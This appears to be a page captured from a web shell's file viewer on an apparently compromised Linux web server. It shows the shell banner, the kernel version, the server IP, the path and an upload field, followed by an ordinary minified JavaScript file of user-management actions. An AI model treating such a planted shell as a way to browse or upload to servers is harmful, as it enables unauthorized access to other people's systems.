0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.26.184


Current Path : /var/www/qpms/assets/
Upload File :
Current File : /var/www/qpms/assets/Usertype-Tlc7npBO.js

import{v as E,E as o}from"./index-DbuAcQXx.js";const l=r=>async(e,s)=>{try{const t=s();let n=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await E.post("/app.php?a=saveUsertype&db="+n,r);e({type:"UNSET_LOADER"}),a.data.error_code===0?o("success",a.data.data.msg):o("info",a.data.data.msg)}catch(t){o("error",t.message)}},_=r=>async(e,s)=>{try{const t=s();let n=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await E.get("/app.php?a=getUsertypeData&db="+n);if(e({type:"UNSET_LOADER"}),a.data.error_code===0){const y=a.data.data.map((d,p)=>({...d,key:p,fslno:p+1}));e({type:"USER_TYPE_DATA",payload:y}),e({type:"OPEN_USERTYPE",payload:!0})}else e({type:"USER_TYPE_DATA",payload:[]}),alert("info",a.data.data.msg)}catch(t){o("error",t.message)}},g=r=>async(e,s)=>{e({type:"OPEN_USERTYPE",payload:r})},m=r=>async(e,s)=>{try{const t=s();let n=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await E.post("/app.php?a=saveCreateUser&db="+n,r);e({type:"UNSET_LOADER"}),a.data.error_code===0?o("success",a.data.data.msg):o("info",a.data.data.msg)}catch(t){o("error",t.message)}},A=r=>async(e,s)=>{try{const t=s();let n=localStorage.getItem("dbname");e({type:"SET_LOADER"});const a=await E.get("/app.php?a=getCreateUserData&db="+n);if(e({type:"UNSET_LOADER"}),a.data.error_code===0){const y=a.data.data.map((d,p)=>({...d,fslno:p+1,key:p}));e({type:"GET_CREATE_USER_DATA",payload:y}),e({type:"OPEN_CREATE_USER_MODAL",payload:!0})}else e({type:"GET_CREATE_USER_DATA",payload:[]})}catch(t){o("error",t.message)}},S=r=>async(e,s)=>{e({type:"OPEN_CREATE_USER_MODAL",payload:r})};export{m as a,S as b,A as c,_ as g,g as o,l as s};